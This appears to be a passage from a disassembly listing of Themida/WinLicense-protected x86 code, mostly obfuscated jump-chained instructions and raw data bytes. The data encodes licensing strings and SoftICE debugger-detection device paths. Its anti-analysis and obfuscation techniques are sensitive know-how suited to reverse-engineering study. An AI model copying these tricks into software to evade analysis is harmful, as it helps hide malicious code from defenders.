		dd 89241C89h, 0CBE950E3h, 80FFFF46h, 0C8E92AC3h, 89FFFF54h
		dd 4AE92404h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5653C3:				; CODE XREF: Themida_:00563116j
		or	eax, eax
		jz	loc_559603
		push	eax
		push	1Ch
		pop	eax
		push	esi
		mov	esi, 33BB2A1Ah
		jmp	loc_556AA7
; ---------------------------------------------------------------------------
		align 2
		dw 58E3h
		dd 0D5F6EB86h, 0E951EB86h, 0FFFF9F0Dh
; ---------------------------------------------------------------------------


loc_5653EC:				; CODE XREF: Themida_:00562BBDj
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 21263629h
		sub	edi, 74702270h
		add	edi, 654256EEh
		shr	edi, 2
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_555817
; ---------------------------------------------------------------------------
		db 51h,	0B1h, 9Ch
		dd 8034B353h, 0C38001EBh, 85C3803Ch, 1C8BD920h,	1D9DE924h
		dd 6655FFFFh, 6634C0BDh, 66DBF1BEh, 24E9EE01h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56543B:				; CODE XREF: Themida_:00553113j
		mov	ebp, esp
		push	esi
		mov	esi, 37B39AFh
		shr	esi, 2
		dec	esi
		xor	esi, 9397412h
		xor	esi, 28026A25h
		and	esi, 3AE31E89h
		jmp	loc_558C77
; ---------------------------------------------------------------------------
		dw 565Eh
		dd 0FCC8E957h, 8859FFFFh, 2434FFDEh, 0E789575Bh, 0FFE48BE9h
		dd 57535AFFh, 0E14FB2BFh, 247C017Fh, 2D585F04h,	7FE14FB2h
		dd 58C5295Bh, 8B242C87h, 1C892424h, 1CDDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56549A:				; CODE XREF: Themida_:0055F689j
		mov	[esp], edi
		jmp	loc_551F34
; ---------------------------------------------------------------------------


loc_5654A2:				; CODE XREF: Themida_:0055B2C5j
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_556842
; ---------------------------------------------------------------------------


loc_5654B4:				; CODE XREF: Themida_:005559A8j
		push	edx
		mov	edx, 0D5BA6837h
		sub	ebx, edx
		pop	edx
		jmp	loc_55B4D2
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 81243C8Bh, 4C4h, 24343300h, 0E9243431h, 0FFFF5044h
		dd 0E92434FFh, 0FFFF7797h, 337AEA81h, 0DAF76EEEh, 0FEB7B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5654ED:				; CODE XREF: Themida_:00556733j
		pop	ebp
		add	ebx, 58A869D2h
		add	ebx, esi
		sub	ebx, 58A869D2h
		jmp	loc_560104
; ---------------------------------------------------------------------------
		db 5Eh,	5Ah, 0E9h
		dd 0FFFF4145h, 1A5CE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56550E:				; CODE XREF: Themida_:0055FA5Cj
		mov	ebx, [esp]
		push	1BFAh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5593BA
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 28B85024h, 8907C27Eh, 0F74758C7h, 4EC81D7h, 89000000h
		dd 0E789243Ch, 4C781h, 34E90000h
		db 0E1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56554B:				; CODE XREF: Themida_:0055BF3Fj
		mov	esi, 7D951C67h
		and	ebx, esi
		pop	esi
		dec	ebx
		xor	ebx, 2AAC7766h
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	[esp+4], eax
		jmp	loc_553BF1
; ---------------------------------------------------------------------------
		db 83h
		dd 426804C4h, 0E9000063h, 0FFFFD793h
; ---------------------------------------------------------------------------


loc_565578:				; CODE XREF: Themida_:00564BF0j
		mov	esi, esp
		jmp	loc_55FE4C
; ---------------------------------------------------------------------------
		db 33h
		dd 0E95C240Ch, 0FFFEC6E7h, 8BD58959h, 0C4812414h, 4, 1D7BE581h
		dd 0ED811E67h, 1D9A1850h, 3682C581h, 0FCE928A0h, 56FFFFA5h
		dd 0C681E689h, 4, 3304C683h, 34312434h,	24343324h, 0B9EE815Ch
		dd 2945FC2Dh, 0B9C681CEh, 0FF45FC2Dh, 57592434h, 0C781E789h
		dd 4, 0E904C783h, 0FFFEF9C6h
; ---------------------------------------------------------------------------


loc_5655E4:				; CODE XREF: Themida_:0055286Dj
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_55FDD5
; ---------------------------------------------------------------------------
		db 81h
		dd 1C39E0EEh, 0CFBCE979h, 0C781FFFFh, 9272DA9Bh, 875FFD01h
		dd 248B242Ch, 0E0895024h, 6864E957h, 895DFFFFh,	0EBC158C3h
		dd 92CB8103h, 81218F3Fh, 0C7329CF3h, 4401E981h,	0E8C1FFFFh
		dd 7D970D07h, 93357142h, 8171C67Fh, 686D34EFh, 81C7014Ah
		dd 686D34C7h, 3C87584Ah, 0CDE95C24h, 30FFFFF7h,	24048BC2h
		dd 4C481h, 7BE90000h
		db 31h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56565F:				; CODE XREF: Themida_:00551E60j
		pop	esi
		add	ebx, edx
		mov	edx, [esp]
		jmp	loc_55508F
; ---------------------------------------------------------------------------
		dw 0E931h
		dd 0E9C8015Dh, 0FFFEFE4Ch, 592434FFh, 0FEE5DBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56567D:				; CODE XREF: Themida_:00563758j
		shr	ebx, 7
		push	esi
		push	edi
		push	0FFD3FB2Eh
		pop	edi
		mov	esi, edi
		pop	edi
		add	ebx, esi
		pop	esi
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		push	7582h
		mov	[esp], ebp
		jmp	loc_55C13F
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 8B510000h, 0C4812404h, 4, 0B134E959h, 0EB81FFFEh
		dd 45467819h, 0D326E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5656C6:				; CODE XREF: Themida_:005650B5j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55E6E6
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0C3010000h, 36B85058h, 0D294628h, 2D1C6F45h,	933C6D2Dh
		dd 0E4CEE913h, 0E95BFFFEh, 0FFFFF0FAh, 0EE8h, 5A7A4100h
		dd 0D92EB351h, 3A80DFD4h, 66A1ED3Ch, 6CBFF681h,	0F3B70F5Ah
		dd 655BC281h, 0FE90000h, 65000000h, 6DA10FABh, 0A7731F43h
		dd 0B03349BFh, 688BD3h,	0FC000000h, 0AE95Fh, 882C0000h
		dd 92A19A02h, 6EA97D41h, 601734FFh, 9B64B866h, 880F5961h
		dd 2, 0C181C38Bh, 68931BD5h, 0E98134B7h, 5F1CD941h, 850F6060h
		dd 0
		dd 9E9h, 831DE600h, 0CCB3CFA7h,	61613F3Ch, 25EE981h, 51F91BA0h
		dd 48F5B50h, 3840F3Ah, 80000000h, 8C0FA2CFh, 17h, 12E9h
		dd 92E6D300h, 0B6B59EC0h, 0B72C9A4Fh, 0AB7D7B68h, 83BFA507h
		dd 0F78B04EFh, 9B68FF81h, 850FFFFFh, 0FFFFFF84h, 7932B866h
		dd 535536EBh, 32335245h, 6C6C642Eh, 56444100h, 33495041h
		dd 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h, 907D7h, 0C0003h
		dd 80002h, 30D0004h, 7463D5ACh,	8AFE9h,	973B6800h, 4FE9061Fh
		dd 68FFFDE9h, 61F97D9h,	0FDE945E9h, 98FA68FFh, 3BE9061Fh
		dd 68FFFDE9h, 61F99F5h,	0FDE931E9h, 9A5068FFh, 27E9061Fh
		dd 68FFFDE9h, 61F9B8Eh,	0FDE91DE9h, 9C1C68FFh, 13E9061Fh
		dd 71FFFDE9h, 6801ABC9h, 5AF39DCBh, 4EE791DBh, 3FD882E6h
		dd 53CB75F7h, 0D5979F94h, 0CBA5922Bh, 0C0B08821h, 0B0C47D16h
		dd 0FC8E2006h, 235D30E8h, 80C93F9h, 0E68298C2h,	0D1BC7936h
		dd 42A6AF3Fh, 0BA8B3C25h, 0E91CAE5Ch, 3A1F45ABh, 0F93C96C7h
		dd 22C4502Bh, 0E29A2DF7h, 0E93C0D61h, 0EE5A545Dh, 0B2D66416h
		dd 627D7002h, 9D4E3F4Dh, 640430EDh, 7D58B687h, 39E98F9Dh
		dd 0AE0E9CA7h, 1932306h, 368C21EDh, 0CC7C4DFEh,	9842320Fh
		dd 0BF3242FFh, 0C0F5864Dh, 4392310Ch, 0D9000007h, 0D0691361h
		dd 0C25B0563h, 0B64FF973h, 0A740EA7Eh, 0BB33DD8Fh, 3D2F07FCh
		dd 333DFA93h, 2848F089h, 185CE57Eh, 64F6886Eh, 235D3150h
		dd 1F74FB61h, 3328A8Ah,	65C3317Eh, 2FDF95ACh, 0A5B06D9Ah
		dd 42668313h, 0CC5F1025h, 0C21B7932h, 0ABFE8D8Fh, 1DF85627h
		dd 0D989EF3Dh, 0D3E37527h, 0E02542DDh, 0DD2EBE50h, 0ABB2542h
		dd 0D34DDB39h, 681F484Bh, 0EE4A07B7h, 0F93FD882h, 0DAB5B1B5h
		dd 0FE03B51h, 3ED08232h, 0DCA2F3AEh, 0B6BBB185h, 53EEA705h
		dd 0B836AE21h, 8E3DAE3h, 6A569h, 75FF3B00h, 670132CBh
		dd 5B1124BDh, 4C1C18B1h, 3F2D09A2h, 695E1D95h, 5CF59FCDh
		dd 52EB95DBh, 47E08AE6h, 0EAD07AFAh, 3136C658h,	5DC3235Dh
		dd 472D14D6h, 0E292AF6Ah, 66B43C05h, 0FF388D1Fh, 61AC14h
		dd 1F050000h, 0E583B06Dh, 17A73708h, 0A42542A6h, 65DC95F3h
		dd 92A25F0Fh, 49D078D6h, 42A6AB3Fh, 68D08D25h, 50F1AA08h
		dd 9E6FF93Ah, 22B466F4h, 2542A692h, 81B36E1Fh, 9DAB89E7h
		dd 0D4B547F7h, 3F1F4595h, 1721DE8Eh, 6F21AF59h,	0A028C9DDh
		dd 6E29DADCh, 0F4C5A2C6h, 155BDD96h, 6009938h, 14F40000h
		dd 0BA6A472Dh, 0C4563BFDh, 2542A630h, 0E13F10C1h, 9F4F3503h
		dd 0A64B5BEDh, 0A7582542h, 54099B49h, 0BC1F45B3h, 0E54E38FFh
		dd 4D5B283h, 48F2A3A6h,	38E292AFh, 18C8AC7Ah, 0AADD2F86h
		dd 8A1CACE6h, 0D681F17Ah, 5505D687h, 195BE6A3h,	0CBDB6B3Ch
		dd 4AD681F1h, 0FBAF6EDEh, 70212690h, 91A76412h,	9C9C35DFh
		dd 421F49EAh, 8C3A071h,	4AC83B39h, 0EBE100EDh, 5847110h
		dd 201A0000h, 2211AA54h, 32039C46h, 3DF7903Ah, 4EE8812Bh
		dd 3FFC741Eh, 0D47EEE48h, 0CA74FC3Bh, 0BF690731h, 0AF591B26h
		dd 11A537C9h, 0A2235D3Eh, 2D14B53Ch, 92AF6A47h,	0BE7532E2h
		dd 9EFCCDAAh, 0A872FAC3h, 5F092AE7h, 0C553B182h, 2542A613h
		dd 0C28F22DCh, 0E5B0EB00h, 9FFFFFEh, 6A472D14h,	667608BAh
		dd 732542A6h, 0B08664C2h, 0B39224D4h, 0E01F45D3h, 9F7CF045h
		dd 9553FDCEh, 9F31E187h, 0E6A719CAh, 7E1719AEh,	0AA91C178h
		dd 4979E78h, 4CAAF81Fh,	2BBB9849h, 0D6873E9Eh, 0C6A3C56Fh
		dd 65422A0Bh, 72FC1EA2h, 0CBBA60EAh, 0E73AA021h, 14458h
		dd 0C208B100h, 39FC8298h, 20B26233h, 1F45ABEDh,	0D69EA33Eh
		dd 8B26B205h, 2D16EE4Eh, 37C9791Fh, 3F4D7E86h, 0A7876415h
		dd 0B143F391h, 6AE7A96h, 0C7A1922Dh, 0B88946F6h, 0C87912BCh
		dd 91B539ACh, 9974C0F5h, 489FAh, 591B1F00h, 4B1D16AFh
		dd 3F2D08A1h, 3038FC95h, 2349ED86h, 4D220179h, 40D983E9h
		dd 36CF79F7h, 2BC46E02h, 0CEB45E16h, 3F1AAA3Ch,	41A7235Dh
		dd 3B59EFBAh, 30B7F98Bh, 7B2C1F48h, 462A0ECBh, 5C35039Ch
		dd 0A2CC3ACAh, 4516C7DCh, 0E094AD68h, 0E3A3136Dh, 8A782DAh
		dd 42Eh, 54FE76C4h, 46F078BBh, 3AE488ADh, 2BD593A1h, 1EC8A492h
		dd 44F2C9A6h, 52E57E28h, 5DDB741Eh, 71D06913h, 0E1735903h
		dd 5D3CBF4Fh, 5FE64C23h, 6A472D14h, 5E292AFh, 45EFAC3Ch
		dd 17754623h, 34E6A971h, 20B0C077h, 2542A68Ch, 0BE9BCD67h
		dd 0D937E8EDh, 42A6994Bh, 1A86225h, 36EB00C2h, 0FFFFFD84h
		dd 472D148Fh, 4353E597h, 502542A6h, 8666419Fh, 5363F5B0h
		dd 602542A6h, 9C2EDEAFh, 1F45B169h, 3BCB5D0Fh, 0C8DCA04Dh
		dd 43B6B917h, 0C731AE4Eh, 0E5F98BE5h, 0F6DCA05Ch, 0F9A37445h
		dd 0C3FF0872h, 0E13F3106h, 0DE703503h, 2542A6CEh, 0A9592ADBh
		dd 45ABE617h, 3184351Fh, 0AD7663A5h, 0E8500D84h, 7CDAAB88h
		dd 3CEC889Eh, 8EC43BAAh, 0F348DD4Eh, 4DEC9C4Ch,	5B6B917h
		dd 7CBB7828h, 0E84617F4h, 0A8583C0Ah, 0EBAB0D16h, 31E19254h
		dd 14A7CD74h, 0A63EF9E5h, 853391DAh, 4BFB79C8h,	38F70799h
		dd 530460D3h, 2BF4DF5h,	0C558353Fh, 0CD68831Fh,	116F40A5h
		dd 1AACE958h, 60D3EB8Ah, 0E3082C89h, 0C11BC70h,	8519AB5Bh
		dd 1660D3FBh, 0C1219465h, 388F32AFh, 2F0BE5Dh, 0B4860000h
		dd 0B67D16C0h, 0C66F08B2h, 0D163FCA6h, 0E254ED97h, 8B68E08Ah
		dd 40EA82B4h, 36E090A7h, 2BD59B9Dh, 1BC5AF92h, 0FD11A335h
		dd 0E235D3Dh, 6D1F21A8h, 0BE888B0h, 0A61AAA3Ah,	0F6A72542h
		dd 1E6CBA98h, 9CCC6816h, 401DEEBFh, 0ED83B46Fh,	0FDBA6C1Ch
		dd 86573438h, 304A9A28h, 26D71F48h, 0D5B2E176h,	0DAEA7Ch
		dd 36E7DCA2h, 864C7BA3h, 0E85A07F3h, 1C7AD2D7h,	0E987B16Eh
		dd 0DE92A63Fh, 79FB4601h, 0E365A006h, 872601DAh, 262h
		dd 883242F8h, 7A2444EFh, 6E1854E1h, 5F095FD5h, 52FC70C6h
		dd 10261DDAh, 1E19B25Ch, 290FA852h, 3D049D47h, 15A78D37h
		dd 5D3A7383h, 931A8023h, 8B3B59EFh, 4830A5F9h, 65CE8B1Fh
		dd 0F7552603h, 3BDC81F4h, 0D7B4BC7Bh, 8AE57306h, 19CB7B4Ch
		dd 0AED5D584h, 1406CFFh, 8B44A273h, 790EBEB6h, 10A715C8h
		dd 33DB3947h, 12C2A675h, 0A2881280h, 45F787DCh,	0A28823B3h
		dd 6FFFB0DCh, 0DCA2885Fh, 6D97F96Ch, 0A25A0F78h, 0BB5000D1h
		dd 0DA9094FFh, 0E1720595h, 0C49C7EDCh, 2FEAC523h, 0F8B56507h
		dd 689B2E3Eh, 0F524C717h, 44F4CF2Dh, 60D4AE87h,	895A2B08h
		dd 277DDBACh, 2BB2E075h, 0CBF7269Bh, 0EA82B46Dh, 0CFB58240h
		dd 29018D1Fh, 0E192DCA2h, 7CF84904h, 0B78A479Fh, 0E5500DBDh
		dd 0E8812987h, 1AAA3C59h, 0A7DCA229h, 814825F6h, 8991370Fh
		dd 7E2E46FBh, 0DD002EE9h, 5CBA600Fh, 4E261BB4h,	0EC80B671h
		dd 0B3B57F3Ch, 0F07A7A55h, 8DE75A2Ah, 80EC4AE3h, 236F3A3h
		dd 62C0916Eh, 0A5532B9Dh, 411E4EE8h, 0B6EFFF91h, 4BFCDCA2h
		dd 0F676BF7Ah, 44EA4819h, 0E488AED6h, 0D795A13Ah, 77F93FFAh
		dd 0E597439Ah, 825F0D28h, 0B68D21B1h, 0E173DCA2h, 0DCA2B6CDh
		dd 77282DDEh, 0DDA77319h, 0D0691359h, 76260371h, 526969E1h
		dd 5CBA5D17h, 936278CEh, 8AEA5774h, 2741F2ADh, 5AC04A4Ah
		dd 7C11BD14h, 0FD791590h, 4CF250FBh, 7D0FC1CEh,	642E3369h
		dd 0B26BC97Ah, 0A23BE58Fh, 0B88A139Fh, 2EFFA3E5h, 71C5805Dh
		dd 9101DD39h, 2E14EFFFh
		dd 0B84BFC64h, 95666DCBh, 0A971F5B8h, 640E66DBh, 21FE76CBh
		dd 0DD8DEB41h, 29B74A4Bh, 7E28D95Eh, 9D2F6AC0h,	1E0DA609h
		dd 0DA27279Ah, 30A58D60h, 4CDE8E5Fh, 2407C508h,	690731EEh
		dd 7A57080Bh, 48F282BFh, 5E292AFh, 0CF9D9855h, 29715FF2h
		dd 577CB056h, 0CB9A2886h, 0A2665648h, 41FCD993h, 99C79F7h
		dd 74E85727h, 0BE6617ACh, 0CB4F125Ch, 680C354Fh, 0C47330BEh
		dd 0AC954EACh, 0A63BEBC8h, 865848EFh, 12CB2908h, 12694622h
		dd 69D8AC6Eh, 979E5B0Bh, 0B648F8D5h, 0E7F1CE26h, 0D33102B3h
		dd 0C5AF922Bh, 0C49E8h,	89D0000h, 3EE92A20h, 0CA71CF8Eh
		dd 2614B65Dh, 8BB6714Eh, 0E7510CE9h, 46F1AC89h,	0A4924D2Ah
		dd 630EBC8h, 66CE8966h,	0CB6A2502h, 2A09C4A1h, 519C613Eh
		dd 0C181E189h, 4, 8704E983h, 895C240Ch,	4068243Ch, 89000007h
		dd 0B968240Ch, 8900003Bh, 0A3682434h, 8B061F96h, 0C483240Ch
		dd 4EC8104h, 89000000h,	4832424h, 685E0424h, 7373h, 8F240C89h
		dd 34FF0846h, 0C4835E24h, 2434FF04h, 4C48359h, 0FDE0B9E9h
		dd 0D86039FFh, 0C7240DF7h, 0EEF1A1ABh, 0FF46B815h, 1F9EA3B8h
		dd 0FFC50306h, 0C1A201E0h, 424B82Dh, 1A73123Fh,	362C0340h
		dd 0AE1F7D6Bh, 9C73E344h, 622B2934h, 0D35F4B48h, 0C8E4DE31h
		dd 2056456Ah, 28927A63h, 0AE01666Eh, 9BCE653Ah,	41C78F30h
		dd 0D7EE680Ch, 9512636Fh, 0D276F457h, 5A881D25h, 0E9A9D935h
		dd 0F2FDD95Ah, 26795D50h, 71E946h, 83600000h, 1D1A15BDh
		dd 840F0006h, 5, 5CE9h,	80006A00h, 850F303Eh, 8, 0E946006Ah
		dd 35h,	0F333E80h, 885h, 46106A00h, 24E9h, 343E8000h, 8850Fh
		dd 306A0000h, 13E946h, 3E800000h, 8850F35h, 6A000000h
		dd 2E94640h, 6A000000h,	15858D00h, 90061D22h, 50969050h
		dd 0FF006A96h, 1D0BD195h, 0C6C36106h, 1D1B2585h, 40684D06h
		dd 816992C1h, 0B5682404h, 0B5FF3AA2h, 61D1365h,	3A83858Dh
		dd 0D0FF061Dh, 0BD18589h, 13E8061Dh, 2A000000h,	7AD72360h
		dd 0C67210h, 4BA89688h,	1C72A6Fh, 840F5637h, 5,	1D7E99B9h
		dd 0C4805F4Dh, 92C78100h, 8B000070h, 1D1AF19Dh,	872EBA06h
		dd 0EA81750Bh, 750B6B36h, 68B0Fh, 9D890000h, 61D2801h
		dd 9E937FFh, 0E000000h,	40A427B9h, 0D9059FAEh, 0F19D895Eh
		dd 81061D20h, 9BBEB2EEh, 2995291Fh, 81061D15h, 12B24F6h
		dd 498D015Dh, 81061D21h, 70D7F2F6h, 5677B454h, 12218D89h
		dd 78F061Dh, 5C1DB966h,	0E9D9EF81h, 8D895994h, 61D3365h
		dd 0E9D5C781h, 860F5994h, 6, 8918D09h, 0EA81061Dh, 1, 0FF92850Fh
		dd 0F780FFFFh, 0AAE9DFh, 6F530000h, 61777466h, 575C6572h
		dd 694C6E69h, 736E6563h, 68430065h, 496B6365h, 7058004Eh
		dd 45746F72h, 746978h, 63656843h, 54554F6Bh, 6E695700h
		dd 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h
		dd 736E6563h, 69724465h, 56726576h, 69737265h, 57006E6Fh
		dd 694C6E69h, 736E6563h, 736E4965h, 636E6174h, 78450065h
		dd 6B4F7469h, 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h
		dd 45004E49h, 4F746978h, 54005455h, 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 60858900h, 8D061FA1h
		dd 1FA15C85h, 858D5006h, 61FA0C6h, 16850h, 95FF8000h, 61FA16Ch
		dd 0B5FF196Ah, 61FA160h, 6A016Ah, 0A0F5858Dh, 0FF50061Fh
		dd 1FA15CB5h, 6995FF06h, 0FF061D04h, 1FA15CB5h,	6895FF06h
		dd 0FF061FA1h, 1FA15CB5h, 9195FF06h, 0C3061D2Ah, 0A1608589h
		dd 858D061Fh, 61FA15Ch,	0C6858D50h, 50061FA0h, 168h, 6C95FF80h
		dd 6A061FA1h, 60858D04h, 50061FA1h, 6A046Ah, 0A11F858Dh
		dd 0FF50061Fh, 1FA15CB5h, 6995FF06h, 0FF061D04h, 1FA15CB5h
		dd 6895FF06h, 0FF061FA1h, 1FA15CB5h, 9195FF06h,	0C3061D2Ah
		dd 0A1608589h, 858D061Fh, 61FA15Ch, 0C6858D50h,	50061FA0h
		dd 168h, 6C95FF80h, 6A061FA1h, 60858D04h, 50061FA1h, 6A046Ah
		dd 0A107858Dh, 0FF50061Fh, 1FA15CB5h, 6995FF06h, 0FF061D04h
		dd 1FA15CB5h, 6895FF06h, 0FF061FA1h, 1FA15CB5h,	9195FF06h
		dd 0C3061D2Ah, 0A1608589h, 858D061Fh, 61FA15Ch,	0C6858D50h
		dd 50061FA0h, 168h, 6C95FF80h, 6A061FA1h, 60858D04h, 50061FA1h
		dd 6A046Ah, 0A132858Dh,	0FF50061Fh, 1FA15CB5h, 6995FF06h
		dd 0FF061D04h, 1FA15CB5h, 6895FF06h, 0FF061FA1h, 1FA15CB5h
		dd 9195FF06h, 0C3061D2Ah, 0A1608589h, 858D061Fh, 61FA15Ch
		dd 0C6858D50h, 50061FA0h, 168h,	6C95FF80h, 6A061FA1h, 60858D04h
		dd 50061FA1h, 6A046Ah, 0A0E2858Dh, 0FF50061Fh, 1FA15CB5h
		dd 6995FF06h, 0FF061D04h, 1FA15CB5h, 6895FF06h,	0FF061FA1h
		dd 1FA15CB5h, 9195FF06h, 0C3061D2Ah, 32EDBD83h,	0F00061Dh
		dd 0B84h, 0ED9D8B00h, 83061D32h, 3894CC3h, 0EDBD83C3h
		dd 61D32h, 0B840Fh, 9D8B0000h, 61D32EDh, 8950C383h, 0BD83C303h
		dd 61D32EDh, 0B840F00h,	8B000000h, 1D32ED9Dh, 54C38306h
		dd 83C30389h, 1D32EDBDh, 840F0006h, 0Bh, 32ED9D8Bh, 0C383061Dh
		dd 0C3038958h, 32EDBD83h, 0F00061Dh, 0B84h, 0ED9D8B00h
		dd 83061D32h, 3895CC3h,	8960C3C3h, 1FA16085h, 5C858D06h
		dd 50061FA1h, 0A0C6858Dh, 6850061Fh, 80000001h,	0A16C95FFh
		dd 46A061Fh, 0A160858Dh, 6A50061Fh, 8D006A04h, 1FA15785h
		dd 0B5FF5006h, 61FA15Ch, 46995FFh, 0BD83061Dh, 61D1669h
		dd 0C840F00h, 0FF000000h, 1FA15CB5h, 6895FF06h,	0FF061FA1h
		dd 1FA15CB5h, 9195FF06h, 61061D2Ah, 858960C3h, 61FA160h
		dd 0A15C858Dh, 8D50061Fh, 1FA0C685h, 1685006h, 0FF800000h
		dd 1FA16C95h, 8D046A06h, 1FA16085h, 46A5006h, 858D006Ah
		dd 61FA139h, 5CB5FF50h,	0FF061FA1h, 1D046995h, 69BD8306h
		dd 61D16h, 0C840Fh, 0B5FF0000h,	61FA15Ch, 0A16895FFh, 0B5FF061Fh
		dd 61FA15Ch, 2A9195FFh,	0C361061Dh, 60858960h, 8D061FA1h
		dd 1FA15C85h, 858D5006h, 61FA0C6h, 16850h, 95FF8000h, 61FA16Ch
		dd 858D046Ah, 61FA160h,	6A046A50h, 40858D00h, 50061FA1h
		dd 0A15CB5FFh, 95FF061Fh, 61D0469h, 1669BD83h, 0F00061Dh
		dd 0C84h, 5CB5FF00h, 0FF061FA1h, 1FA16895h, 5CB5FF06h
		dd 0FF061FA1h, 1D2A9195h, 60C36106h, 0A1608589h, 858D061Fh
		dd 61FA15Ch, 0C6858D50h, 50061FA0h, 168h, 6C95FF80h, 6A061FA1h
		dd 60858D04h, 50061FA1h, 6A046Ah, 0A148858Dh, 0FF50061Fh
		dd 1FA15CB5h, 6995FF06h, 83061D04h, 1D1669BDh, 840F0006h
		dd 0Ch,	0A15CB5FFh, 95FF061Fh, 61FA168h, 0A15CB5FFh, 95FF061Fh
		dd 61D2A91h, 8960C361h,	1FA16085h, 5C858D06h, 50061FA1h
		dd 0A0C6858Dh, 6850061Fh, 80000001h, 0A16C95FFh, 46A061Fh
		dd 0A160858Dh, 6A50061Fh, 8D006A04h, 1FA14F85h,	0B5FF5006h
		dd 61FA15Ch, 46995FFh, 0BD83061Dh, 61D1669h, 0C840F00h
		dd 0FF000000h, 1FA15CB5h, 6895FF06h, 0FF061FA1h, 1FA15CB5h
		dd 9195FF06h, 61061D2Ah, 85C760C3h, 61FA160h, 1, 0A15C858Dh
		dd 8D50061Fh, 1FA0C685h, 2685006h, 0FF800000h, 1FA16C95h
		dd 0FC00B06h, 0F84h, 6085C700h,	61FA1h,	0E9000000h, 4Dh
		dd 858D046Ah, 61FA160h,	6A046A50h, 0DA858D00h, 50061FA0h
		dd 0A15CB5FFh, 95FF061Fh, 61D0469h, 840FC00Bh, 0Fh, 0A16085C7h
		dd 61Fh, 0AE90000h, 0C7000000h,	1FA16085h, 106h, 5CB5FF00h
		dd 0FF061FA1h, 1D2A9195h, 858B6106h, 61FA160h, 858960C3h
		dd 61FA160h, 0A15C858Dh, 8D50061Fh, 1FA0C685h, 1685006h
		dd 0FF800000h, 1FA16C95h, 8D046A06h, 1FA16085h,	46A5006h
		dd 858D006Ah, 61FA0DAh,	5CB5FF50h, 0FF061FA1h, 1D046995h
		dd 69BD8306h, 61D16h, 0C840Fh, 0B5FF0000h, 61FA15Ch, 0A16895FFh
		dd 0B5FF061Fh, 61FA15Ch, 2A9195FFh, 0C361061Dh,	60858960h
		dd 8D061FA1h, 1FA15C85h, 858D5006h, 61FA0C6h, 16850h, 95FF8000h
		dd 61FA16Ch, 858D046Ah,	61FA160h, 6A046A50h, 0EC858D00h
		dd 50061FA0h, 0A15CB5FFh, 95FF061Fh, 61D0469h, 1669BD83h
		dd 0F00061Dh, 0C84h, 5CB5FF00h,	0FF061FA1h, 1FA16895h
		dd 5CB5FF06h, 0FF061FA1h, 1D2A9195h, 0C6C36106h, 1D1B2585h
		dd 7685206h, 0FFADE47Bh, 1D3355B5h, 0ED95FF06h,	89061D11h
		dd 1FA16C85h, 2585C606h, 52061D1Bh, 2E00E568h, 55B5FF90h
		dd 0FF061D33h, 1D11ED95h, 68858906h, 0C6061FA1h, 1D1B2585h
		dd 35685206h, 0FFB9BF12h, 1D3355B5h, 0ED95FF06h, 89061D11h
		dd 1D046985h, 2585C606h, 52061D1Bh, 78103468h, 55B5FF98h
		dd 0FF061D33h, 1D11ED95h, 91858906h, 0C6061D2Ah, 1D1B2585h
		dd 0D4685206h, 0FFC005DBh, 1D3355B5h, 0ED95FF06h, 89061D11h
		dd 1D138985h, 5C1EEB06h, 535C2E5Ch, 454349h, 5C2E5C5Ch
		dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 6AC08B00h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 89B8C355h, 1D327DBDh, 69BD8306h, 61D16h
		dd 0BD830975h, 61D0121h, 50197400h, 0B8C08B53h,	40Fh, 2A698589h
		dd 9D8D061Dh, 61FA63Dh,	585BD3FFh, 121BD83h, 7400061Dh
		dd 0B8535017h, 40Fh, 2A698589h,	9D8D061Dh, 61FA32Ch, 585BD3FFh
		dd 588DB0BEh, 0C8B70F7Fh, 0C6B9C08Bh, 0C64B35C1h, 1D1B2585h
		dd 54BA4306h, 68341DDCh, 8942C7C2h, 7821B966h, 3E243481h
		dd 6A35CCA9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0D9FEC357h, 0C27ABF66h, 11E5B5FFh
		dd 6E8061Dh, 26000000h,	64423D4Bh, 9E99Ah, 36010000h, 260EBB6Ch
		dd 5E1297AAh, 3A83858Dh, 6A061Dh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0BF5AD0C3h, 110EACC2h
		dd 0BF0FAAF6h, 6AD0FFF7h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0AAA4C351h,	92CB96FDh
		dd 50C8BF0Fh, 0DEF7C6BEh, 24048922h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0CAC35343h,	6A22ECE5h, 0A668F900h
		dd 604BAFA6h, 68F0Fh, 860F0000h, 0
aAb4Jpkj	db 'a4$&Kj',0
		dw 0E856h
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0ABC35646h, 23421C55h
